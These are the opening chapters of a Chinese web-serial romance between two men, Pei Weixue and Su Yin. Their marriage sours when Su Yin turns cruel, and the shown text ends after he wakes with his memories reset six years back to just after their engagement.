《恶毒男配觉醒后拒绝BE剧本》
1. 壹
一纸合约散落在空中,裴未雪满脸茫然又悲伤的站在原地,由着纸张从他头顶滑落,飘过脸颊如同羽毛般落在脚边,他颤抖的往前一步却又被喝止,他咽下痛苦把视线从站在楼梯拐角看戏的男人脸上移开,转过身。
“裴未雪。你非要跟我作对么?我不爱你!你听到了吗?”
“那你当初为什么跟我结婚!”
被质问后,苏引有一瞬间的晃神,他看着眼前满眼失落的男人脑海中有一个念头,想拥抱他安慰他,但仅仅是一闪而过,“你以为我愿意吗!”事实上他也不知道为什么,就好像他该这么做。
重复过无数次的死亡判决,裴未雪发现他还是免不了难过,眼眶里盈满了晶莹的泪水,他吸着鼻子双手抹掉泪水后,侧过脸,挺翘的鼻头上还有着明显的水痕,有些红肿,他沉默着快步走回卧室,无视身后人的吼叫。
一关上门,他便贴着门框缓缓滑坐在到地上,快六年的时间都不掉曾经那些甜。苏引起初只是不理他,后来变本加厉,光明正大追着别的男人跑,闹着吵着要离婚。
他没有什么可以抓住苏引的东西,只剩下那本结婚证。事实上,他也不知道他做错了什么。满脑子都是上大学时苏引围在他身边的点点滴滴。
苏引以前是学院里赫赫有名的‘人物’,长得好,能力出众,好几次服装设计都拿过全国大赛一等奖,是一等一的优秀学生。
而他只是一个普通到不能再普通的理科生,学的是软件专业,平日里总抱着课本,也没多少人搭理他。
有一次,参加网页设计大赛时,他埋头在图书馆做,正在纠结颜色配比,拿手机查着颜色代码,身后传来声音:“颜色和板块设计可以再精进一点。你这个框文字设计不觉得和整个页面格格不入么?”
裴未雪仰头对上一张眉眼恣意张扬的脸,瞳孔里的人影朝着他笑,他听见自己的声音说:“格格不入?”
青年长腿一跨坐在他身边,浅浅的清爽肥皂味传来,“你看,你整个页面颜色最多的是深蓝色,文字却是黄褐色,你不觉得很奇怪么?”他伸手拿过鼠标在调色盘里调出一个漂亮的浅色,“你觉得呢?”
“好看...”裴未雪犹豫几秒后说:“我有点色盲。”谁料他说完这句话后,青年一巴掌拍在他的肩上,非常义气地说:“那以后我当你的调色盘呀。你叫什么名字?我是苏引,草头苏,勾引的引。”明晃晃的大白牙晃得裴未雪不自觉扬起笑容,“裴未雪。非衣裴,未来的未,下雪的雪。”
苏引以为那是他们第一次见面,其实不是的,他们遇见过很多很多次,只是每一次裴未雪都只是远远注视着,耳边总能传来舍友或者同学讨论服装设计15届三班的苏引拒绝了谁的告白,拿了什么奖项,主办什么节目完美演出。
从那次后他经常能看见苏引在图书馆出现,拿着小人书,带着画板,很安静的坐在角落,他也会选择比较近的桌子,苏引还经常给他带猕猴桃和胡萝卜吃,他知道,这是治疗色盲的日常辅助。
他的色盲不是天生的。高中家里遭遇变故后他患上了精神疾病,病发时会躁动不安,辅助药物是氯丙嗪和硫利达嗪,高三那年学习压力大,精神极其不稳定他便违背医嘱多吃了一些,也正是如此,导致视网膜锥细胞损伤。
只是他的病免不了要继续吃药,所以他没有选择手术治疗。
苏引嘴上从来不说多余的话,却总是将事情做到实处,他都看在眼里。
有一次,老师布置作业后要求每个学生都上台展示自己的成果,说一说设计理念,裴未雪拿着U盘上台,网页版面刚放出来就引起一阵哄笑,颜色乱七八糟,毫无美感。他知道同学只是被逗笑了,没什么恶意,但其实他也不知道到底是什么样的配色,硬着头皮讲完PPT。
老师因板块设计不错给了良好评价。
那节课是大课,有好几个班的学生,他坐下后隔壁班的几个刺头笑话他,他的色盲其实不是什么秘密,一起上课的都知道,也免不得被其它班一些搞怪的同学拿出来笑。
“色盲就全弄成一个颜色好了,还非要搞其它颜色。”
其实每次裴未雪都是用颜色代码进行选色,只不过每次出来效果都很差,色盲很久他对颜色早就丧失了基本的判断力,只能从书本或者介绍里知道颜色的名字再去回想配不配。
一出教学楼,他就听到这句话,他有些生气,就算是色盲也有用颜色的权力吧,不过那些人说的也没错,既然分不清还不如直接用一个颜色还好些。
“喂。”
就在这时,熟悉的声音响起。
他看过去,苏引揉着眼睛从后门走出来,插兜站在那两个同学面前,微微昂起下巴,“道歉。”他平生最看不惯嘲笑别人生病的人,不管那个病怎么样,都不是可以嘲笑的理由。
俩人回头仰头,“苏引,你没事跑我们课上干嘛?”服装设计和计算机是两个系别,大课也没有一起上的。
“我说,给裴未雪道歉。”苏引上手抓住俩人的手转了个弯,“喏。”朝着裴未雪颔首,“给他道歉。”
俩人看被主人公听见也有点不好意思,加上苏引的存在又惹了许多人往这边看,只好给裴未雪道歉,后便匆匆离开。
裴未雪朝苏引笑着点头,“谢谢。”
苏引走到他身边勾着他的脖子说:“既然要谢我,不如来点实际的?”
“我可以请你吃饭。”
“nonono,不要这个。”苏引不知从哪里拿出一瓶鲜榨胡罗卜汁,“你今天把这个喝了。”
裴未雪顿时脸色不太好,他真不喜欢胡罗卜,但也知道苏引为什么非让他喝这个汁,接过后他说:“你今天为什么来这儿上课?”
“嗯,我今天没课。”俩人一齐下楼,苏引看他在喝东西,收回手
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插在兜里,“我专门来找你的。”
“找我?”裴未雪意外。
苏引点头,“我大伯种了好多玉米,吃都吃不完,分给我们很多,所以我妈今天做了玉米宴,她想让我吃吐,你帮帮我好不好?”他双手合十,眼里满是祈求。
裴未雪看着喝完的塑料瓶,轻轻点头,“好。”
苏引妈妈的性格很活泼,至少,他第一次见这么活泼的长辈,一进家门就拿走了他的书包,迎着他到餐桌坐下,十分自豪的跟他介绍玉米宴上的菜,比如,香甜玉米粒、玉米排骨汤、玉米烙饼、玉米炒虾仁、奶香玉米羹、奶油烤玉米、玉米发面糕等等。
满满一大桌,看起来两个人真的吃不完。
“阿姨叫你小裴吧好不好?”苏清月好客的把所有菜都往裴未雪面前挪,裴未雪受宠若惊,“好的。阿姨。”
苏引则是坐在裴未雪身边拿着筷子吃玉米粒,有些高兴的看着老妈,行啊小老太太速度很快嘛。
“小裴,我们家狗引在学校有没有捣乱啊?”
“狗引?”
“妈!”
裴未雪疑惑的声音和苏引恼羞的声音一同响起,苏引敲了一下碗,“不要叫我狗引!”
苏清月无情戳穿他,“你自己小时候非要改这个名字。”她看向裴未雪,“小裴啊,你是不知道,他啊三年级老师布置作业,用自己的名字组词,他就给自己组词‘勾引’,这还不算,吵着非要改名字。那时候他在换牙,口齿不清,逢人就说他叫苏狗引。”
“这样嘛?”裴未雪没忍住笑了起来,他揶揄的看向苏引,苏引气急败坏的瞪他,他收敛一点笑意还是克制不住从眼底溢出,他明明是第一次来苏引家,却没有一点生疏,好像来过很多很多次。
“你瞪小裴干嘛?不是你自己起的?”苏清月一头短发十分干练,穿着非常符合身材和气质,显得精神又年轻,她边说边舀了一碗玉米羹给裴未雪,“你尝尝这个,可好喝了。”
苏引冷哼一声,专心干饭。
裴未雪则是看着碗里越来越多的饭菜,眼睛有些酸涩,他已经好久好久没有吃过这样一顿饭。
出来后,苏引跟他一起回宿舍,虽然不同专业但在同一栋楼,俩人经过操场便走进去散散步,裴未雪看苏引时不时都能遇上熟人讲两句,他也就很安静的走着。
“未雪。”
裴未雪侧头,“嗯?”月光落在苏引的侧脸,像古代神话里的神仙一样高洁无暇,他目不转睛的盯着。
苏引说:“以后周末都和我一起回家吃饭吧。”他说话时语气很轻松平常,像是在说一件无关紧要的事,另一侧是手却紧紧贴着大腿,连走路都有点顺拐。
“嗯。”裴未雪在他看过来之前收回视线,转头假装在看其它人打篮球,“谢谢。”他不想戳破苏引的想法,也懂苏引的意思,他觉得他有点孤单,或者,觉得他可怜。
2. 贰
闻声,苏引心中的喜悦溢于言表,连点了好几下头,像个愣头青用同样的语调重复着裴未雪的‘嗯’字,“嗯嗯嗯。”有点轻,有点内敛。
“你!”裴未雪恼了一抬手,苏引往前跑去,他急忙追了过去,“狗引!你给我停下!”他腿没苏引长,苏引做服装设计的是自己的模特,身材完美得像那些T台上的超模。
风扬起衣摆,紧致的腰身,腹肌曲线都能窥探一二。
而裴未雪满脑子都是追到苏引把他按在地上打,竟然学他说话!可是,他怎么追都追不到,苏引跑得太快,他身体素质没苏引好,但不知怎么的,跑了一会儿后苏引似乎跑不动,脚步慢了下来,他刹车不及时一脑袋撞了上去,俩人滚在草坪上。
“你没事吧?”裴未雪垫在苏引身上,撑着地板起身,“你没事吧?”
苏引拍拍身边的地,“没事,躺下来一起吹风吧。”
裴未雪不疑有他,顺势躺了下去,抬头望着星空。
夏季的夜有蝉鸣声,微风掠过声,还有操场上三三俩俩一起运动散步的学生说话声,很吵又很寂静,裴未雪感觉十分轻松,很久没有这么轻松的看星星。
从认识苏引后才有的。
所以...
“引哥。”他比苏引大了整整一岁。
他转过头,对上苏引惊讶的目光,又叫了一声,“引哥。”
苏引笑嘻嘻的侧过身看他,“你今天很开心噢。”
裴未雪点头,嘴角微扬,“嗯。引哥,谢谢你。也谢谢阿姨。”
“你叫我一声哥,那我妈就是你妈了。咱们来桃园结义吧!”苏引一把拉起裴未雪兴高采烈的想结拜,他望一眼周围,“ohno,没有桃园。”不远处有两颗大榕树,“榕树结拜吧。从今天开始我就是你哥。”
很胡闹,裴未雪还是跟着他走到榕树下,点了三根火柴,念叨半天后苏引问他:“好玩不?”
裴未雪点头。
苏引搂着他说:“既然你叫我哥,那我就叫你雪儿。”他想这样叫好久了,裴未雪肌肤胜雪,穿什么颜色的衣服都很好看,第一次见到裴未雪时他穿着紫色的裤子和红色上衣,非常离谱的搭配,仍旧盖不住俊朗。
裴未雪有些不自然的眨眨眼,轻点头,“好。”
后来,苏引总会蹲他没课的时间带他去玩,一齐打游戏,一齐爬山,一齐看海,带他去打篮球,两人一齐坐在学校操场旁的大榕树下,画设计稿,做网页设计,互相交流,经常带他回家一起吃饭。
也因为苏引,他几乎不会再发病,精神恢复很快,也几乎不再吃那些控制病情的药,苏引送他一对角膜接触镜辅助治疗,终于在大三时他渐渐能看见颜色。
还记得,他再次看见颜色时的情景。
刺眼的阳光落在眼睛上,裴未雪慢慢睁开眼睛,想拿遥控器把窗帘关上,没注意到阳光的颜色,周围陈设的颜色,而是定定对上一双茶褐色的眼睛,瞳孔里映着他的影子。
“引哥。”他看见苏引殷红的唇色,血气十足的脸蛋,那双眼睛的眼尾正弯着对他笑,问他:“你醒啦。昨天晚上我起夜,看你门没关,想帮你关结果发现你踢被子,顿时有了设计灵感,我就在你屋里画画,你不会生气的吧?”
他很安静的坐在床边地上,慢慢的画,有时候构思一个细节就用了很久的时间,时光飞逝,转眼天亮,听到床上有动静他便转身。
裴未雪又喊了一声“引哥”,他坐起身,去拉苏引的手,“我看见颜色了。”
听见他说的话后苏引没反应过来,“你说什么!”
“我说,我看见颜色了。引哥,你的眼睛是茶褐色的。”裴未雪心里想着,真美,美得让人沉醉。苏引直接跳了起来,结果一脑袋撞到吊灯,哎哟一声捂着脑袋嗷嗷叫,裴未雪急得光脚跳下床去扶他,“撞到哪儿了撞到哪儿了?”
谁知苏引嚎两声,抓住裴未雪的手腕,丝毫不管伤口,指着窗外的树问:“那是什么颜色?”
“黄色的叶子,棕色的树枝。”
“还有还有,那辆跑车什么颜色?”
“红色。”
苏引一连问了好多问题,最后噔噔瞪跑出去,又噔噔瞪跑回来,手里多了一盘切好的猕猴桃,“这个是什么颜色?”
裴未雪浅笑着看他,指着猕猴桃说:“黄肉红心。”
“天呐!”苏引把盘子一放抱着裴未雪的腰转圈,“你真的看见颜色啦!太好了!wu——”
兴奋得像是自己能看见一样,裴未雪半搂着苏引的肩膀,悄悄抬起腿圈住他的腰,引哥,谢谢你。
也记得,毕业典礼后,苏引拉着他跑到那颗承载了很多回忆的榕树下,攥着一封情书,紧张不已的对他说:“未雪,我喜欢你。”
裴未雪垂眸扫过那封信,又盯着苏引看,大眼睛挺鼻子,五官十分大气,眉眼间装饰着潇洒,掩盖住不经意的紧张,他抬手,苏引心提到嗓子眼,眼睛睁得更大了,直到他拿过信,对他说:“我也喜欢你。”苏引才如释重负,又马上被欣喜席卷,莽撞的抱住裴未雪,“太好了太好了!”
裴未雪被他撞得一踉跄,双手抬在空中,他看着信,隐隐露出笑意,低头,唇瓣轻扫过苏引的发梢。他看得见天空的颜色是深蓝,看得见苏引茶褐色的眼睛,对他而言,是珍宝。
苏引放下他后搂着他拍了一张合照,两人对着镜头比剪刀手的pose,身后是操场,身侧是榕树的枝丫,头顶是夜空,月亮高悬,银白色月光洒在发顶。
勾引大雪:[图片]有对象勿慕。
“你这个微信昵称是不是有点......”裴未雪脑袋挨着他去看他手机,昵称让他眼前一黑。
苏引得意地说:“我已经很委婉了。我还可以更直白。雪儿,我明天同居好不好?”
裴未雪抿了抿唇,说:“我们...不是已经同居了么。”
“我是说同一间房。”
苏引发完朋友圈,底下评论区瞬间炸开花,好些人私聊他,震得他手快麻了才
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听到裴未雪的声音,太小,没听清,他耳朵凑过去,“你说什么?”
“好。”裴未雪勾住他的脖子,弯起眼睛,“我也想很久了引哥。”
苏引故意问:“想什么?”
裴未雪手往他锁骨上摸,“想睡你。想被你干,想干你。”
苏引在他耳边低声说:“我的大刀早已鸡渴难耐了。”
他们经常一起打游戏,这是英雄台词,在这个场景却有暧昧无比,裴未雪看着他笑,苏引看着他笑。
但....
几乎在第二天,苏引突然毫无预警的褪去热情。
*
打开房门,裴未雪迎面撞上打扮得很清爽的苏引,他知道苏引又要去找贺南,忍着难受开口:“你别去找他了。”他话还没说完就被制止。
“关你什么事?”苏引低头扣好腕表,衬衫衣摆装进西装裤,被皮带勒着,并不修身,有些宽松的,阳光照到衬衫上甚至能看到底下身体的线条,“你有时间就把离婚协议签了。”他朝着门外走去,被人拉住,回头对上一双满是悲伤的眼睛,他有一瞬间的晃神,又马上镇定下来,冷笑道:“怎么?欠操?”
眼看着裴未雪脸上的血色褪去,他恶劣的推开人,“滚远点,你这样的,老子看都看不上。整天死气沉沉对着一堆代码,没半点风情。”
“苏引。”裴未雪听着难听的话,心脏一丝丝的抽痛,“我到底做错了什么?”为什么会变成这样?
他转过身朝裴未雪走了两步,抬手在他胸前拍了拍,昂着下巴,“别露出这副可怜兮兮乞讨的样子,我不爱你。我说过几百遍,你死活记不清。”他毫无耐心,“最后三天,不答应离婚我就搬出去,起诉你。”
说完他抬步离开,裴未雪想抓住他却只能眼睁睁看着衣袖从指尖划过。
门打开,苏清月站在外面,“你又要去找贺南是不是?”她拎着许多猕猴桃,她再不来,裴未雪不知道伤心成什么样儿。
苏引仍旧一副我行我素的样子,“我这么大了你管我做什么?我去找他怎么了?你要是闲得慌就去找个伴。别没事盯着我。”
“你!”
“苏引!”
裴未雪快步跑到苏清月身边,帮苏清月拍背,埋怨地说:“苏引,你怎么能这么对妈说话?”
“实在不行,你当没我这个儿子。”苏引眼看着母亲一口气差点上不来,表情毫无变化,“我就是要去找贺南。”他看向裴未雪,“我就是讨厌你。你非要犯贱不离婚。”又看向生气的苏清月,“还有你!别再对我说教。”
啪!
响亮的巴掌声打断了苏引的话,苏引揉着发痛的脸颊,眼里的抵触和冷漠又再次搅成一团,最终说:“打完了?爽了?那能让开吗?”他不管不顾的推开两人快步离开。
身后传来裴未雪惊恐的叫声,“妈!妈!”他身形一顿,脑袋有点疼,似乎在压抑着什么,胸口很闷,他眼底溢出了他自己都看不懂的泪花,他想转身却还是快步消失在门口。
3. 叁
中医院。
“没什么大事,血压有点高,当小辈的不要再惹长辈生气。”护士边挂上点滴边说:“等会儿应该就醒了,滴完按这个铃。”
“好的。多谢。”
裴未雪坐在床边,看着昏迷的苏清月,双手捂住脸,耳边响起无数苏引冷嘲热讽扎人心窝的话。
在遇到贺南之前,苏引只是冷漠的不理他。
那时,苏清月希望他们结婚,苏引没有反对也没有多余的情绪,总是沉默。结婚后苏引坚持分开睡,他以为他做错了什么,绞尽脑汁想哄苏引高兴,苏引像是没听到,从来不搭理他,时常躲在自己屋内,很少出门。
后来苏引才说要为真爱守身如玉,那时他在想,为真爱守身如玉?那他们之间算什么?
苏清月以为儿子得了什么心理病带去看过好多医生也没好转,裴未雪猜测是他们在一起久了他那些发病时的丑态影响到苏引,很是愧疚,更加对苏引好,无论苏引怎么无视他他都无所谓。
直到半年前,江枝回国后带了男朋友贺南来找苏引。江枝是苏引的发小,俩人铁得像穿一条裤子,上大学不在一个地方也经常联系,周末时常聚在一起。
这几年江枝都在国外留学,不太清楚苏引的变化。当那个长相俊朗的贺南穿着一件棕色马甲出现后,苏引像是突然点醒了什么,眼睛黏在贺南身上。
明知贺南是发小对象还是在他们发生争吵时介入其中,让俩人的关系愈发恶劣。
江枝不知道怎么回事还会找苏引问怎么办,苏引一个劲的鼓捣说晾一晾就行,贺南早晚会想通的,本身江枝莫名其妙被骂一顿就不爽,经苏引一说他也觉得他没错,就此陷入冷战。
冷战期间,苏引以要帮贺南挽回江枝为由头经常跑去找贺南,甚至无薪资入职贺南所在的服装公司当白工,江枝这才发现不对劲,讨要说法时是在一场宴会上。
贺南带着苏引前去,说要帮苏引介绍一些国际设计师,江枝恰巧也在宴会名单上,趁苏引去卫生间想问一下怎么回事,没想到苏引突然打了他一拳,还说一定会抢走贺南,江枝气急了两人扭打在一起,后又对赶来的贺南歪曲事实。
不知就里的贺南以为江枝先打了苏引,要求江枝道歉并且不要再出现。
俩人算是彻底分道扬镳,江枝蹲在门口把苏引往死里揍了一顿。
那天苏引鼻青脸肿回家,他正在赶项目进度,苏引一进门就啪的一声大力关上门,他拿着药箱好说歹说才让苏引开门,谁知苏引一开门劈头盖脸的指责他去告密。
“你就是见不得我跟贺南在一起是不是?他要是跟江枝复合了,我弄死你!真当自己是我老公啊?老子睡过你么?碰过你么?你一个神经病算什么东西?”
他难以置信苏引竟然会骂他‘神经病’,明明苏引知道他精神有过问题,从前,苏引把这三字视为禁忌,哪怕出门时听到别人闲聊有这三字,苏引也会紧紧捂住他的耳朵生怕他听了不开心。
最后,刺痛他的竟然是苏引。
苏引不仅摔了药箱,还把苏清月刚送过来的猕猴桃全部踩烂丢掉,一口一个‘恶心’的骂他。
从回忆中抽身时,泪水浸湿了掌心。
单人病房里传出一下又一下的啜泣声,犹如绝望的悲鸣。
许久之后,床边的纸巾被抽光,裴未雪低着头刘海盖住眼睛走进卫生间洗脸,把脸埋在水里,等心情平复下来后,他仰起头,水滴随着他的动作往后甩。
湿哒哒的刘海和脸出现在镜子里。
再次走出卫生间,他只剩下眼睛略微有些红肿,以及沉重的鼻音,他出去叫护士来换点滴,再等半个小时,苏清月终于醒了,他倒了一杯水,“妈。你还好吗?”
苏清月就着他的手坐起来,接过水杯,往外看,“那臭小子呢?他没来?”
裴未雪摇头,他刚才打了很多电话都没人接,面对这样没有人性的苏引,他似乎终于下了决定,“对不起妈。我可能要违背当初对您发的誓了。我......”他还没说完,十指交握的双手被手掌抱住,他看向苏清月,“妈。”
“离婚吧。”苏清月放下水杯,伸手帮他抹掉泪水,“是妈对不起你。没教好苏引,让他这么伤害你。”
“对不起....”裴未雪眼泪像断线的珠子般一滴又一滴的砸下。
苏清月心疼的抱住他,“还有妈在呢。你永远是我儿子。”她轻拍着裴未雪的背,让裴未雪在她肩上哭了个痛快。
她是一步步看着俩人走来的,苏引从小到大没让她操心过。成绩虽然不优越,但从小就知道自己喜欢什么,绘画和设计,苏引凭借着大赛获奖被东大破格录取。为人孝顺懂事,性格有些张扬却也不是坏事,性格外向,人缘非常好,左邻右舍的长辈也时常挂在嘴边夸。
第一次把裴未雪带回家前,苏引就告诉她,说裴未雪是他未来的老公,夸得天花乱坠,她心有疑惑也选择相信苏引的选择,俩人确实很要好,苏引对裴未雪很好,总黏着人家,帮助裴未雪治好了精神疾病和色盲。
那时买角膜接触镜时苏引做了很多攻略跑了无数医院,把刚拿到手的奖金全部都花光了,买了最好的角膜接触镜给裴未雪。
毕业、告白、结婚,一切顺理成章。
谁知道会变成这样。她现在恨不得回到苏引刚出生时就掐死他,现在就敢精神出轨,来日就会肉.体出轨,再下去可能就会上法制频道。
再者,她无法眼睁睁看着裴未雪被这样伤害,其实她劝过,在苏引刚精神出轨时她就劝过,只是裴未雪坚持,说曾经对她发过誓,绝对不会背弃苏引。
事到如今,苏引六亲不认,真的没有再坚持下去的必要。
从医院出来后,裴未雪没有去公司,转头给在律师行工作的朋友打了电话,很快便拟好了离婚协议,朋友提醒他苏引是过错方可以多要一些财产,他坚持只要五五分。
其实从结婚那天开始,苏引没往家里打过一分钱,所有开销都是他在出,这些他没告诉过苏清月。
就当...给彼此最后的体面。
在离婚协议上签下名字时,裴未雪手都在抖。
如果有人给他一次机会回到八年前,他还是会坐在图书馆做网页设计等待着苏引的出现指导他颜色搭配。曾经的苏引,是引领他走出冰天雪地的一束暖光,哪怕最后会消失,他还是想短暂的拥有。
*
“苏引!你混蛋!”
咖啡店门口。
这里是贺南中午都来坐一会儿的地方,苏引整理一下衣服,刚抬步,旁边传来喝声,紧接着他便被一拳撂倒,踉跄了几步勉强站稳,苏引摸了摸脸,转过身。
“苏引!我真是看错你了!”江枝满眼怒火,他手中还拿着一束蓝玫瑰。自从跟贺南闹矛盾后,他想了很多,他们之间没有到不可挽回的地步,所以他今天才来这里。
没想到苏引竟然还来。
苏引抬脚直接踢了过去,江枝被踢出去老远,蓝玫瑰也落在地上,花瓣洒了一地,苏引没给他起来的机会,将人按在地上打,周围很快聚集了许多人,他边打边骂:“关你什么事!你跟他都分手了,我还不能追是吧?!”
江枝不甘示弱,两人扭打在一起,“老子这辈子做过最错的事就是小时候吃你那根油条!”他骑在苏引身上,用力打下一拳,“畜生!”
苏引用力顶向他的腹部,江枝吃痛一声转眼变成了被按在地上的人,眼看着蓄力一拳即将落下,他愤恨的看着苏引,“这一拳打下来,我们恩断义绝。”
二十几年的关系让江枝一而再的忍让,他不知道为什么
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出国一趟回来苏引会变成这样,感情不能作假,可他也无法一忍再忍,他静静等着拳头落下,耳边传来围观群众叽叽喳喳的声音。
打吧,他再也不认这个兄弟。
等了许久,到鼻子处的拳头竟然移开了,他看着苏引,“打啊!”苏引突然露出挣扎的神情,好像被什么裹挟一样痛苦,他看苏引收回手一把拨开他,揉了揉自己的脸,居高临下看着蹲坐在地上愣神的人,“苏引,以后别再联系了。”
他不知道苏引是不是因为他那句话而停下,就当为这段兄弟情画上句点,留个体面。
苏引站起身,眼神呆滞,他刚才脑子有一瞬间的空白,现在晕乎乎的。
江枝掷地有声地指责道:“苏引,你撬兄弟墙脚,不义;顶撞母亲,不孝;婚内出轨,不忠。”他撕下一截袖口,“我再也没你这个兄弟!”说完他捡起乱七八糟的花束离开。
病房内,巴掌声响起。被裴未雪连拉带拽拖到病房的苏引低着头跪在母亲床前,脸颊上红肿一片,他缓缓抬头望着母亲失望的目光晃神。
“小引,从小到大,妈从来没打过你。你现在连我也不认了。好啊。从今天开始,我再也没你这个儿子。”苏清月气得手指都在抖,她跟江母是手帕交,自己儿子却抢人家儿子的男朋友,她实在不知道该怎么面对曾经的好姐妹,“明天就去跟未雪离婚。从房子里滚出去,爱上哪儿上哪儿。”
苏引呆滞的转动眼珠看向旁边站着的裴未雪,他抬起手,好想抱抱他的亲人他的爱人,可是,抬起手后他却用力推开裴未雪,“你要不要脸?不想离婚还跟家长告状!你只会告状吗?!”
“你!你还敢推雪雪!”苏清月一口气上不来又晕了过去,裴未雪惊叫:“妈!护士!护士!”他顾不得那么多,只对苏引说了三个字“我恨你”,便急匆匆跑出去找护士。
——我再也没你这个儿子
——我恨你
——我没你这个兄弟
三道不同的声音反复在苏引耳边回荡,越来越大声,他忍受不了颅内疼痛也倒了下去。
*
“未雪,我喜欢你。”
“我也喜欢你。”
苏引跟宝贝似抱着裴未雪拍照,“雪儿笑一个。”
裴未雪对着镜头失笑。
“我苏引永远爱裴未雪,一辈子都不分开!”苏引高调的朝着天空大声吼道。
“那万一呢?”裴未雪碰了碰他的肩膀,眼角眉梢都挂着笑意。
苏引边拿手机看照片编辑朋友圈边信誓旦旦说:“没有万一。”发完他手机一起放进包里,扣住裴未雪的手抬到嘴边轻吻,“我做鬼都要缠着你。”他另外一只手去摸裴未雪有些虚弱的脸,“是不是被风吹着了?”
裴未雪拿下手,“哪有这么脆弱。只是嘴唇有点干。”
“嘴唇干啊?”苏引左右看了看,牵着裴未雪往旁边小道里跑,跑到周围都没人的时候才盯着裴未雪的嘴唇说:“我要亲亲你。”
裴未雪不好意思的别过脸,轻轻点头,他便被捧住脸,一个珍视的吻悄然落在他唇上。
铃铃铃~
闹钟铃声响起,床上伸出一只手猛的拍在闹钟上,随后从被子里传出闷闷的声音,“老子刚亲到雪儿,你这个死闹钟就把老子吵醒。”
骂了两句苏引掀开被子,阳光落在脸上十分刺眼,他抬手挡了挡,揉着眼睛起身去卫生间,上完厕所洗了把脸才清醒,一清醒他盯着台面上陌生牙杯牙刷露出疑惑的神情。
“欸?我什么时候换牙杯了?雪儿换的?”苏引拿起来发现不是之前用的,但是怎么只有一个?
突然,他发现不对劲,镜子里的自己老了,虽然皮肤还是挺紧致的,但五官有很明显的变化,眼周嘴角还有淤青,像是被狠揍了一顿。
4. 肆
“嘶~”苏引摸了一下嘴角倒吸一口凉气,侧脸去看镜子,左脸还有点肿,像是被扇了一巴掌。
谁吃了熊心豹子胆敢打他!他从小到大老妈都没打过他一次,他莫名其妙告白完回来睡个觉就被打了?甚至没半点记忆。
难不成昨天晚上喝多了?也不对啊。他不怎么喝酒。
但是镜子里这张脸看起来就很虚。肚子咕咕叫了两声,他摸摸肚子,眼神瞬间呆滞。
掀开衣服一看,他尖叫出声,“我的腹肌呢————”腹部的肌肉不见了不说,软乎乎的肚皮,看起来比他的胸肌都大,“我发福了?????”
不对不对!
他快步出去喊人,“雪儿!”看清卧室陈设又楞住了,很多摆件都发生了变化,桌子椅子床的图样也都不同,最明显的变化是墙上的合照呢!
告白前把他和裴未雪一起去滑雪时拍的一张照片洗出来挂在卧室里来着,想着给裴未雪一个惊喜。
俩人在国外滑雪场闹了三天,裴未雪不会滑雪总是摔倒,脸直接砸雪地里去,他看着贼好玩儿,捂着肚子笑,裴未雪恼羞成怒顺手抓起一把雪往他脸上按,冰得他一个哆嗦直接扑到裴未雪,两人在雪地里滚了许久,出了滑雪场,他搂着裴未雪拍下他们的第一张合照。
约定过以后会再来,他要教会裴未雪滑雪。
不对劲不对劲,哪哪都透露着古怪,屋里没有半点他熟悉的样子,乱成一锅粥了,裴未雪有轻微强迫症,他们一起住久了受裴未雪影响,他也染上一些强迫症,总是收拾得很整齐。
但是现在地上丢着一大堆衣服,桌上摆件更是乱中乱,被单里的棉都不知道被挤到哪个角落,整个房间像是垃圾场,还有可乐瓶倒在床边。
这是哪个邋遢鬼住的?
他走出去,套房里没人,他叩响裴未雪的房门,“雪儿,你醒了吗?”昨天周五,今天周六,裴未雪是个爱睡懒觉的小懒虫,肯定不会一大早起来。
敲半天没人理他,他摸着下巴思考,雪儿出门买菜了?他慢吞吞走回房间想拿手机,最终在床底下找到一个陌生的手机,人脸一刷就开锁,“我啥时候换手机了?”他心里窃喜,“难道是雪儿送的?”
可是也不对,手机看起来用了挺久的,而且壁纸上的男人他也不认识。
算了,去雪儿房间看看。
他打开门,映入眼帘的是一个干净整洁的房间,床头放着一个雪人玩偶,他走进去,桌上放着电脑,茶杯,衣柜里也有衣服。
他们昨天说好要住在一起。这套房子是他和裴未雪一起交的首付,很早就开始同居了,只是以前没挑破感情就当室友,现在都交往了,就不能是室友了呀。他想等裴未雪回来问问是睡哪间好。
忽然,无意间看见垃圾桶里两个白色药瓶,拿起来一看,脸色瞬间沉了下去,雪儿怎么还在吃这个?不是已经好了吗?
突然,他的目光落在日历上,上面清清楚楚写着年月日包括‘周一’的字样。
跟他认知不同,多了六年。
!!!!
两个多小时后。
把头发抓成鸟窝的苏引才认清目前的情况。他,苏引,穿越了,穿越到六年后。
他想给裴未雪打电话,直接输入11位数字,结果屏幕上没跳出来备注‘小丑’,什么意思?谁的手机给雪儿备注成小丑!肯定不是他的!
可是人脸识别能开啊。先不管了,可能刚换。
‘嘟’两下后,提示正在通话中,他又打了两次,哀嚎的半跪在地毯上,“雪儿怎么把我拉黑了?太过分了吧。”接下去他又给老妈打电话,给江枝打电话,结果都没人接。
他彻底裂了神情。
这时玄关处传来响动,他激动的起身,腿麻了差点摔倒,猛拍两下大腿瘸着跑过去,看见拎着公文包的裴未雪,和印象中瘦弱带着病气的样子不同,一副精英模样又成熟稳重,惊喜道:“哇塞,雪儿,你老了也这么好看呐。”他没注意到裴未雪冷漠的眼神,快步走过去想捏捏他的脸,却被躲过,他不明所以的以为他惹裴未雪生气了,“雪儿,你别生气好不好?你想怎么惩罚我都行。”
话音刚落,一只手掐住他的脖子将他推在鞋柜上,桌角磕到腰,他嘶了一声,去掰裴未雪的手,迷茫的看着脸色阴沉的裴未雪,想问,怎么了?
“我...”
“苏引,想离婚我成全你。妈身体不好,你怎么敢惹一而再惹她生气!”裴未雪把公文包往地上一甩,发出重重的响声,他看苏引震惊又窒息的样子松开手,苏引捂着脖子咳嗽时他捡起公文包从里面抽出一份资料往苏引脸上甩,“签!”
“什么?咳咳...”苏引一脸懵逼,捡起资料一看封面几个大字,尖叫出声:“离婚协议书!我们结婚啦!”他回头,裴未雪已经走了进去,他跟过去,他们六年后已经结婚了?
可是,怎么就要离婚了?
“不是...我....”苏引还不太清醒,他不知道为什么会突然穿越到六年后,他和裴未雪结婚了,但是,却又要离婚。还有什么他惹老妈生气,什么老妈身体不好,老妈身体棒得很,一口气能提桶装水上六楼呢,“雪儿?”
裴未雪没有理他,径直走进书房把电脑摆起来。
“雪儿,我们之间一定有误会。你别冲动就要分手呀。”苏引像以前一样,苦着脸凑过去裴未雪面前,每次裴未雪不开心他都是这样哄的。
裴未雪沉着脸移开视线,余光却忍不住偷偷瞄着苏引手上的离婚协议书,沉默不言。
